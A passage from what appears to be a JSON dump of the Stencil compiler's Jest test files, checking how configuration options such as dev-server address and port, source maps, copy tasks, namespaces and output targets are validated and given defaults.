any[])[0]).toEqual(/\\.(gif|jpe?g|png)$/i);\n    expect(isWatchIgnorePath(config, '/some/image.gif')).toBe(true);\n    expect(isWatchIgnorePath(config, '/some/typescript.ts')).toBe(false);\n  });\n\n  it('should clean up valid watchIgnoredRegex', () => {\n    userConfig.watchIgnoredRegex = [/\\.(gif|jpe?g)$/i, null, 'me-regex' as any, /\\.(png)$/i];\n    const { config } = validateConfig(userConfig, bootstrapConfig);\n    expect(config.watchIgnoredRegex).toHaveLength(2);\n    expect((config.watchIgnoredRegex as any[])[0]).toEqual(/\\.(gif|jpe?g)$/i);\n    expect((config.watchIgnoredRegex as any[])[1]).toEqual(/\\.(png)$/i);\n    expect(isWatchIgnorePath(config, '/some/image.gif')).toBe(true);\n    expect(isWatchIgnorePath(config, '/some/image.jpg')).toBe(true);\n    expect(isWatchIgnorePath(config, '/some/image.png')).toBe(true);\n    expect(isWatchIgnorePath(config, '/some/typescript.ts')).toBe(false);\n  });\n\n  describe('sourceMap', () => {\n    it('sets the field to true when the set to true in the config', () => {\n      userConfig.sourceMap = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(true);\n    });\n\n    it('sets the field to false when set to false in the config', () => {\n      userConfig.sourceMap = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(false);\n    });\n\n    it('defaults to \"dev\" behavior when not set (true in dev mode)', () => {\n      userConfig.devMode = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(true);\n    });\n\n    it('defaults to \"dev\" behavior when not set (false in prod mode)', () => {\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(false);\n    });\n\n    it('sets the field to true when set to \"dev\" and devMode is true', () => {\n      userConfig.sourceMap = 'dev';\n      userConfig.devMode = true;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(true);\n    });\n\n    it('sets the field to false when set to \"dev\" and devMode is false', () => {\n      userConfig.sourceMap = 'dev';\n      userConfig.devMode = false;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(false);\n    });\n\n    it('sets the field to true when set to \"dev\" and --dev flag is passed', () => {\n      userConfig.sourceMap = 'dev';\n      userConfig.flags = createConfigFlags({ dev: true });\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(true);\n    });\n\n    it('sets the field to false when set to \"dev\" and --prod flag is passed', () => {\n      userConfig.sourceMap = 'dev';\n      userConfig.flags = createConfigFlags({ prod: true });\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.sourceMap).toBe(false);\n    });\n  });\n\n  describe('buildDist', () => {\n    it.each([true, false])('should set the field based on the config flag (%p)', (flag) => {\n      userConfig.flags = createConfigFlags({ esm: flag });\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildDist).toBe(flag);\n    });\n\n    it.each([true, false])('should fallback to !devMode', (devMode) => {\n      userConfig.devMode = devMode;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildDist).toBe(!devMode);\n    });\n\n    it.each([true, false])('should fallback to buildEs5 in devMode', (buildEs5) => {\n      userConfig.devMode = true;\n      userConfig.buildEs5 = buildEs5;\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n      expect(config.buildDist).toBe(config.buildEs5);\n    });\n  });\n\n  describe('validatePrimaryPackageOutputTarget', () => {\n    it('should default to false', () => {\n      const { config } = validateConfig(userConfig, bootstrapConfig);\n\n      expect(config.validatePrimaryPackageOutputTarget).toBe(false);\n    });\n\n    it.each([true, false])(\n      'should set validatePrimaryPackageOutputTarget to %p',\n      (validatePrimaryPackageOutputTarget) => {\n        userConfig.validatePrimaryPackageOutputTarget = validatePrimaryPackageOutputTarget;\n\n        const { config } = validateConfig(userConfig, bootstrapConfig);\n\n        expect(config.validatePrimaryPackageOutputTarget).toBe(validatePrimaryPackageOutputTarget);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-copy.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { validateCopy } from '../validate-copy';\n\ndescribe('validate-copy', () => {\n  describe('validateCopy', () => {\n    it.each([false, null, undefined, []])('returns an empty array when the copy task is `%s`', (copyValue) => {\n      expect(validateCopy(copyValue, [])).toEqual([]);\n    });\n\n    it('pushes default tasks not found in the original copy list', () => {\n      const defaultCopyTasks: d.CopyTask[] = [\n        { src: 'defaultSrc' },\n        { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' },\n      ];\n\n      expect(validateCopy([], defaultCopyTasks)).toEqual(defaultCopyTasks);\n    });\n\n    it('combines provided and default tasks', () => {\n      const tasksToValidate: d.CopyTask[] = [{ src: 'someSrc', dest: 'someDest', keepDirStructure: true, warn: false }];\n      const defaultCopyTasks: d.CopyTask[] = [\n        { src: 'defaultSrc' },\n        { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' },\n      ];\n\n      expect(validateCopy(tasksToValidate, defaultCopyTasks)).toEqual([...tasksToValidate, ...defaultCopyTasks]);\n    });\n\n    it('prefers provided tasks over default tasks', () => {\n      const tasksToValidate: d.CopyTask[] = [\n        { src: 'aDuplicateSrc', dest: 'someDest', keepDirStructure: true, warn: false },\n      ];\n      const defaultCopyTasks: d.CopyTask[] = [\n        { src: 'aDuplicateSrc' },\n        { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' },\n      ];\n\n      // the first task from the default task list is not used\n      expect(validateCopy(tasksToValidate, defaultCopyTasks)).toEqual([\n        { src: 'aDuplicateSrc', dest: 'someDest', keepDirStructure: true, warn: false },\n        { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' },\n      ]);\n    });\n\n    it('de-duplicates copy tasks', () => {\n      const copyTask: d.CopyTask = { src: 'aDuplicateSrc', dest: 'someDest', keepDirStructure: true, warn: false };\n      const tasksToValidate: d.CopyTask[] = [{ ...copyTask }, { ...copyTask }];\n\n      expect(validateCopy(tasksToValidate, [])).toEqual([{ ...copyTask }]);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-custom.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\nimport { buildWarn } from '@utils';\n\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateCustom', () => {\n  let userConfig: d.Config;\n\n  beforeEach(() => {\n    userConfig = mockConfig();\n  });\n\n  it('should log warning', () => {\n    userConfig.outputTargets = [\n      {\n        type: 'custom',\n        name: 'test',\n        validate: (_, diagnostics) => {\n          const warn = buildWarn(diagnostics);\n          warn.messageText = 'test warning';\n        },\n        generator: async () => {\n          return;\n        },\n      },\n    ];\n    const { diagnostics } = validateConfig(userConfig, mockLoadConfigInit());\n    // TODO(STENCIL-1107): Decrement the right-hand side value from 2 to 1\n    expect(diagnostics.length).toBe(2);\n    // TODO(STENCIL-1107): Keep this assertion\n    expect(diagnostics[0]).toEqual({\n      header: 'Build Warn',\n      level: 'warn',\n      lines: [],\n      messageText: 'test warning',\n      type: 'build',\n    });\n    // TODO(STENCIL-1107): Remove this assertion\n    expect(diagnostics[1]).toEqual({\n      header: 'Build Warn',\n      level: 'warn',\n      lines: [],\n      messageText:\n        'nodeResolve.customResolveOptions is a deprecated option in a Stencil Configuration file. If you need this option, please open a new issue in the Stencil repository (https://github.com/stenciljs/core/issues/new/choose)',\n      type: 'build',\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-dev-server.spec.ts",
    "content": "import { mockLoadConfigInit } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { ConfigFlags, createConfigFlags } from '../../../cli/config-flags';\nimport type * as d from '../../../declarations';\nimport { normalizePath } from '../../../utils';\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateDevServer', () => {\n  const root = path.resolve('/');\n  let inputConfig: d.UnvalidatedConfig;\n  let inputDevServerConfig: d.DevServerConfig;\n  let flags: ConfigFlags;\n\n  beforeEach(() => {\n    inputDevServerConfig = {};\n    flags = createConfigFlags({ serve: true });\n    inputConfig = {\n      sys: {} as any,\n      rootDir: normalizePath(path.join(root, 'some', 'path')),\n      devServer: inputDevServerConfig,\n      flags,\n      namespace: 'Testing',\n    };\n  });\n\n  it('should default address', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.address).toBe('0.0.0.0');\n  });\n\n  it.each(['https://localhost', 'http://localhost', 'https://localhost/', 'http://localhost/', 'localhost/'])(\n    'should remove extraneous stuff from address %p',\n    (address) => {\n      inputConfig.devServer = { ...inputDevServerConfig, address };\n      const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n      expect(config.devServer.address).toBe('localhost');\n    },\n  );\n\n  it('should set address', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, address: '123.123.123.123' };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.address).toBe('123.123.123.123');\n  });\n\n  it('should set address from flags', () => {\n    inputConfig.flags = { ...flags, address: '123.123.123.123' };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.address).toBe('123.123.123.123');\n  });\n\n  it('should get custom baseUrl', () => {\n    inputConfig.outputTargets = [\n      {\n        type: 'www',\n        baseUrl: '/my-base-url',\n      } as d.OutputTargetWww,\n    ];\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.basePath).toBe('/my-base-url/');\n  });\n\n  it('should get custom baseUrl with domain', () => {\n    inputConfig.outputTargets = [\n      {\n        type: 'www',\n        baseUrl: 'http://stenciljs.com/my-base-url',\n      } as d.OutputTargetWww,\n    ];\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.basePath).toBe('/my-base-url/');\n  });\n\n  it('should default basePath', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.basePath).toBe('/');\n  });\n\n  it('should default root', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.root).toBe(normalizePath(path.join(root, 'some', 'path', 'www')));\n  });\n\n  it('should set relative root', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, root: 'my-rel-root' };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.root).toBe(normalizePath(path.join(root, 'some', 'path', 'my-rel-root')));\n  });\n\n  it('should set absolute root', () => {\n    inputConfig.devServer = {\n      ...inputDevServerConfig,\n      root: normalizePath(path.join(root, 'some', 'path', 'my-abs-root')),\n    };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.root).toBe(normalizePath(path.join(root, 'some', 'path', 'my-abs-root')));\n  });\n\n  it('should default gzip', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.gzip).toBe(true);\n  });\n\n  it('should set gzip', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, gzip: false };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.gzip).toBe(false);\n  });\n\n  it.each(['localhost', '192.12.12.10', '127.0.0.1'])('should default port with address %p', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.port).toBe(3333);\n  });\n\n  it.each(['https://subdomain.stenciljs.com:3000', 'localhost:3000/', 'localhost:3000'])(\n    'should override port in address with port property',\n    (address) => {\n      inputConfig.devServer = { ...inputDevServerConfig, address, port: 1234 };\n      const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n      expect(config.devServer.port).toBe(1234);\n    },\n  );\n\n  it('should not set default port if null', () => {\n    // we intentionally set the value to `null` for the purposes of this test, hence the type assertion\n    inputConfig.devServer = { ...inputDevServerConfig, port: null as unknown as number };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.port).toBe(null);\n  });\n\n  it('sets the port to 3333 if the port is undefined', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, port: undefined };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.port).toBe(3333);\n  });\n\n  it.each(['localhost:20/', 'localhost:20'])('should set port from address %p if no port prop', (address) => {\n    inputConfig.devServer = { ...inputDevServerConfig, address };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.port).toBe(20);\n    expect(config.devServer.address).toBe('localhost');\n  });\n\n  it('should set address, port null, protocol', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, address: 'https://subdomain.stenciljs.com/' };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.port).toBe(undefined);\n    expect(config.devServer.address).toBe('subdomain.stenciljs.com');\n    expect(config.devServer.protocol).toBe('https');\n  });\n\n  it('should set port', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, port: 4444 };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.port).toBe(4444);\n  });\n\n  it('should set port from flags', () => {\n    inputConfig.flags = { ...flags, port: 4444 };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.port).toBe(4444);\n  });\n\n  it('should default strictPort to false', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.strictPort).toBe(false);\n  });\n\n  it('should set strictPort to true', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, strictPort: true };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.strictPort).toBe(true);\n  });\n\n  it('should set strictPort to false', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, strictPort: false };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.strictPort).toBe(false);\n  });\n\n  it('should default historyApiFallback', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.historyApiFallback).toBeDefined();\n    expect(config.devServer.historyApiFallback!.index).toBe('index.html');\n  });\n\n  it.each([1, []])('should default historyApiFallback when an invalid value (%s) is provided', (badValue) => {\n    // this test explicitly checks for a bad value in the stencil.config file, hence the type assertion\n    inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: badValue as any };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.historyApiFallback).toBeDefined();\n    expect(config.devServer.historyApiFallback!.index).toBe('index.html');\n  });\n\n  it('should set historyApiFallback', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: {} };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.historyApiFallback).toBeDefined();\n    expect(config.devServer.historyApiFallback!.index).toBe('index.html');\n  });\n\n  it('should sets the historyApiFallback when undefined is provided', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: undefined };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.historyApiFallback).toBeDefined();\n    expect(config.devServer.historyApiFallback!.disableDotRule).toBe(false);\n    expect(config.devServer.historyApiFallback!.index).toBe('index.html');\n  });\n\n  it('should disable historyApiFallback', () => {\n    // we intentionally set the value to `null` for the purposes of this test, hence the type assertion\n    inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: null as unknown as d.HistoryApiFallback };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.historyApiFallback).toBe(null);\n  });\n\n  it('should default reloadStrategy hmr', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.reloadStrategy).toBe('hmr');\n  });\n\n  it('should set reloadStrategy pageReload', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, reloadStrategy: 'pageReload' };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.reloadStrategy).toBe('pageReload');\n  });\n\n  it('should default openBrowser', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.openBrowser).toBe(true);\n  });\n\n  it('should set openBrowser', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, openBrowser: false };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.openBrowser).toBe(false);\n  });\n\n  it('should set openBrowser from flag', () => {\n    // the flags field should have been set up in the `beforeEach` block for this test, hence the bang operator\n    inputConfig.flags!.open = false;\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.openBrowser).toBe(false);\n  });\n\n  it('should default http protocol', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.protocol).toBe('http');\n  });\n\n  it('should set https protocol if credentials are set', () => {\n    inputConfig.devServer = { ...inputDevServerConfig, https: { key: 'fake-key', cert: 'fake-cert' } };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.protocol).toBe('https');\n  });\n\n  it('should set ssr true', () => {\n    inputConfig.devServer = { ssr: true };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.ssr).toBe(true);\n  });\n\n  it('should set ssr false', () => {\n    inputConfig.devServer = { ssr: false };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.ssr).toBe(false);\n  });\n\n  it('should set ssr from flag', () => {\n    inputConfig.flags = { ...flags, ssr: true };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.ssr).toBe(true);\n  });\n\n  it('should set ssr false by default', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.ssr).toBe(false);\n  });\n\n  it('should set default srcIndexHtml from config', () => {\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.srcIndexHtml).toBe(normalizePath(path.join(root, 'some', 'path', 'src', 'index.html')));\n  });\n\n  it('should set srcIndexHtml from config', () => {\n    const wwwOutputTarget: d.OutputTargetWww = {\n      type: 'www',\n      prerenderConfig: normalizePath(path.join(root, 'some', 'path', 'prerender.config.ts')),\n    };\n    inputConfig.outputTargets = [wwwOutputTarget];\n    inputConfig.flags = { ...flags, ssr: true };\n    const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n    expect(config.devServer.prerenderConfig).toBe(wwwOutputTarget.prerenderConfig);\n  });\n\n  describe('pingRoute', () => {\n    it('should default to /ping', () => {\n      // Ensure the pingRoute is not set in the inputConfig so we know we're testing the\n      // default value added during validation\n      delete inputConfig.devServer.pingRoute;\n      const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n      expect(config.devServer.pingRoute).toBe('/ping');\n    });\n\n    it('should set user defined pingRoute', () => {\n      inputConfig.devServer = { ...inputDevServerConfig, pingRoute: '/my-ping' };\n      const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n      expect(config.devServer.pingRoute).toBe('/my-ping');\n    });\n\n    it('should prefix pingRoute with a \"/\"', () => {\n      inputConfig.devServer = { ...inputDevServerConfig, pingRoute: 'my-ping' };\n      const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n      expect(config.devServer.pingRoute).toBe('/my-ping');\n    });\n\n    it('should clear ping route if set to null', () => {\n      inputConfig.devServer = { ...inputDevServerConfig, pingRoute: null };\n      const { config } = validateConfig(inputConfig, mockLoadConfigInit());\n      expect(config.devServer.pingRoute).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-docs.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\n\nimport { DEFAULT_TARGET_COMPONENT_STYLES } from '../constants';\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateDocs', () => {\n  let userConfig: d.Config;\n\n  beforeEach(() => {\n    userConfig = mockConfig();\n  });\n\n  it('readme docs dir', () => {\n    // the flags field is expected to have been set by the mock creation function for unvalidated configs, hence the\n    // bang operator\n    userConfig.flags!.docs = true;\n    userConfig.outputTargets = [\n      {\n        type: 'docs-readme',\n        dir: 'my-dir',\n      } as d.OutputTargetDocsReadme,\n    ];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    const o = config.outputTargets.find((o) => o.type === 'docs-readme') as d.OutputTargetDocsReadme;\n    expect(o.dir).toContain('my-dir');\n  });\n\n  it('default no docs, not remove docs output target', () => {\n    userConfig.outputTargets = [{ type: 'docs-readme' }];\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.outputTargets.some((o) => o.type === 'docs-readme')).toBe(true);\n  });\n\n  it('default no docs, no output target', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.outputTargets.some((o) => o.type === 'docs-readme')).toBe(false);\n  });\n\n  it('should use default values for docs.markdown.targetComponent', () => {\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.docs.markdown.targetComponent.background).toBe(DEFAULT_TARGET_COMPONENT_STYLES.background);\n  });\n\n  it('should use user values for docs.markdown.targetComponent.background', () => {\n    userConfig = mockConfig({\n      docs: {\n        markdown: {\n          targetComponent: {\n            background: '#123',\n          },\n        },\n      },\n    });\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.docs.markdown.targetComponent.background).toBe(userConfig.docs.markdown.targetComponent.background);\n  });\n\n  it('should use user values for docs.markdown.targetComponent.textColor', () => {\n    userConfig = mockConfig({\n      docs: {\n        markdown: {\n          targetComponent: {\n            textColor: '#123',\n          },\n        },\n      },\n    });\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.docs.markdown.targetComponent.textColor).toBe(userConfig.docs.markdown.targetComponent.textColor);\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-hydrated.spec.ts",
    "content": "import * as d from '@stencil/core/declarations';\n\nimport { validateHydrated } from '../validate-hydrated';\n\ndescribe('validate-hydrated', () => {\n  describe('validateHydrated', () => {\n    let inputConfig: d.UnvalidatedConfig;\n    let inputHydrateFlagConfig: d.HydratedFlag;\n\n    beforeEach(() => {\n      inputHydrateFlagConfig = {};\n      inputConfig = {\n        hydratedFlag: inputHydrateFlagConfig,\n      };\n    });\n\n    it.each([null, false])('returns undefined for hydratedFlag=%s', (badValue) => {\n      // this test explicitly checks for a bad value in the stencil.config file, hence the type assertion\n      (inputConfig.hydratedFlag as any) = badValue;\n      const actual = validateHydrated(inputConfig);\n      expect(actual).toBeNull();\n    });\n\n    it.each([[], true])('returns a default value when hydratedFlag=%s', (badValue) => {\n      // this test explicitly checks for a bad value in the stencil.config file, hence the type assertion\n      (inputConfig.hydratedFlag as any) = badValue;\n      const actual = validateHydrated(inputConfig);\n      expect(actual).toEqual<d.HydratedFlag>({\n        hydratedValue: 'inherit',\n        initialValue: 'hidden',\n        name: 'hydrated',\n        property: 'visibility',\n        selector: 'class',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-namespace.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\n\nimport { validateNamespace } from '../validate-namespace';\n\n// TODO(STENCIL-968): Update tests to check diagnostic messages\ndescribe('validateNamespace', () => {\n  const diagnostics: d.Diagnostic[] = [];\n\n  beforeEach(() => {\n    diagnostics.length = 0;\n  });\n\n  it('should not allow special characters in namespace', () => {\n    validateNamespace('My/Namespace', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n\n    diagnostics.length = 0;\n    validateNamespace('My%20Namespace', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n\n    diagnostics.length = 0;\n    validateNamespace('My:Namespace', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n  });\n\n  it('should not allow spaces in namespace', () => {\n    validateNamespace('My Namespace', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n  });\n\n  it('should not allow dash for last character of namespace', () => {\n    validateNamespace('MyNamespace-', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n  });\n\n  it('should not allow dash for first character of namespace', () => {\n    validateNamespace('-MyNamespace', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n  });\n\n  it('should not allow number for first character of namespace', () => {\n    validateNamespace('88MyNamespace', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n  });\n\n  it('should enforce namespace being at least 3 characters', () => {\n    validateNamespace('ab', undefined, diagnostics);\n    expect(diagnostics).toHaveLength(1);\n  });\n\n  it('should allow $ in the namespace', () => {\n    const { namespace, fsNamespace } = validateNamespace('$MyNamespace', undefined, diagnostics);\n    expect(namespace).toBe('$MyNamespace');\n    expect(fsNamespace).toBe('$mynamespace');\n  });\n\n  it('should allow underscore in the namespace', () => {\n    const { namespace, fsNamespace } = validateNamespace('My_Namespace', undefined, diagnostics);\n    expect(namespace).toBe('My_Namespace');\n    expect(fsNamespace).toBe('my_namespace');\n  });\n\n  it('should allow dash in the namespace', () => {\n    const { namespace, fsNamespace } = validateNamespace('My-Namespace', undefined, diagnostics);\n    expect(namespace).toBe('MyNamespace');\n    expect(fsNamespace).toBe('my-namespace');\n  });\n\n  it('should set user namespace', () => {\n    const { namespace, fsNamespace } = validateNamespace('MyNamespace', undefined, diagnostics);\n    expect(namespace).toBe('MyNamespace');\n    expect(fsNamespace).toBe('mynamespace');\n  });\n\n  it('should set default namespace', () => {\n    const { namespace, fsNamespace } = validateNamespace(undefined, undefined, diagnostics);\n    expect(namespace).toBe('App');\n    expect(fsNamespace).toBe('app');\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-output-dist-collection.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\nimport { join, resolve } from '@utils';\n\nimport { validateConfig } from '../validate-config';\n\ndescribe('validateDistCollectionOutputTarget', () => {\n  let config: d.Config;\n\n  const rootDir = resolve('/');\n  const defaultDir = join(rootDir, 'dist', 'collection');\n\n  beforeEach(() => {\n    config = mockConfig();\n  });\n\n  it('sets correct default values', () => {\n    const target: d.OutputTargetDistCollection = {\n      type: 'dist-collection',\n      empty: false,\n      dir: null,\n      collectionDir: null,\n    };\n    config.outputTargets = [target];\n\n    const { config: validatedConfig } = validateConfig(config, mockLoadConfigInit());\n\n    expect(validatedConfig.outputTargets).toEqual([\n      {\n        type: 'dist-collection',\n        empty: false,\n        dir: defaultDir,\n        collectionDir: null,\n        transformAliasedImportPaths: true,\n      },\n    ]);\n  });\n\n  it('sets specified directory', () => {\n    const target: d.OutputTargetDistCollection = {\n      type: 'dist-collection',\n      empty: false,\n      dir: '/my-dist',\n      collectionDir: null,\n    };\n    config.outputTargets = [target];\n\n    const { config: validatedConfig } = validateConfig(config, mockLoadConfigInit());\n\n    expect(validatedConfig.outputTargets).toEqual([\n      {\n        type: 'dist-collection',\n        empty: false,\n        dir: '/my-dist',\n        collectionDir: null,\n        transformAliasedImportPaths: true,\n      },\n    ]);\n  });\n\n  describe('transformAliasedImportPaths', () => {\n    it.each([false, true])(\n      \"sets option '%s' when explicitly '%s' in config\",\n      (transformAliasedImportPaths: boolean) => {\n        const target: d.OutputTargetDistCollection = {\n          type: 'dist-collection',\n          empty: false,\n          dir: null,\n          collectionDir: null,\n          transformAliasedImportPaths,\n        };\n        config.outputTargets = [target];\n\n        const { config: validatedConfig } = validateConfig(config, mockLoadConfigInit());\n\n        expect(validatedConfig.outputTargets).toEqual([\n          {\n            type: 'dist-collection',\n            empty: false,\n            dir: defaultDir,\n            collectionDir: null,\n            transformAliasedImportPaths,\n          },\n        ]);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-output-dist-custom-element.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\nimport { COPY, DIST_CUSTOM_ELEMENTS, DIST_TYPES, join } from '@utils';\nimport path from 'path';\n\nimport { validateConfig } from '../validate-config';\n\ndescribe('validate-output-dist-custom-element', () => {\n  describe('validateCustomElement', () => {\n    // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these\n    // tests are run on)\n    const rootDir = path.resolve('/');\n    const defaultDistDir = join(rootDir, 'dist', 'components');\n    const distCustomElementsDir = 'my-dist-custom-elements';\n    let userConfig: d.Config;\n\n    beforeEach(() => {\n      userConfig = mockConfig();\n    });\n\n    it('generates a default dist-custom-elements output target', () => {\n      const outputTarget: d.OutputTargetDistCustomElements = {\n        type: DIST_CUSTOM_ELEMENTS,\n      };\n      userConfig.outputTargets = [outputTarget];\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets).toEqual([\n        {\n          type: DIST_TYPES,\n          dir: defaultDistDir,\n          typesDir: join(rootDir, 'dist', 'types'),\n        },\n        {\n          type: DIST_CUSTOM_ELEMENTS,\n          copy: [],\n          dir: defaultDistDir,\n          empty: true,\n          externalRuntime: true,\n          generateTypeDeclarations: true,\n          customElementsExportBehavior: 'default',\n        },\n      ]);\n    });\n\n    it('uses a provided export behavior over the default value', () => {\n      const outputTarget: d.OutputTargetDistCustomElements = {\n        type: DIST_CUSTOM_ELEMENTS,\n        customElementsExportBehavior: 'single-export-module',\n      };\n      userConfig.outputTargets = [outputTarget];\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.outputTargets).toEqual([\n        {\n          type: DIST_TYPES,\n          dir: defaultDistDir,\n          typesDir: join(rootDir, 'dist', 'types'),\n        },\n        {\n          type: DIST_CUSTOM_ELEMENTS,\n          copy: [],\n          dir: defaultDistDir,\n          empty: true,\n          externalRuntime: true,\n          generateTypeDeclarations: true,\n          customElementsExportBehavior: 'single-export-module',\n        },\n      ]);\n    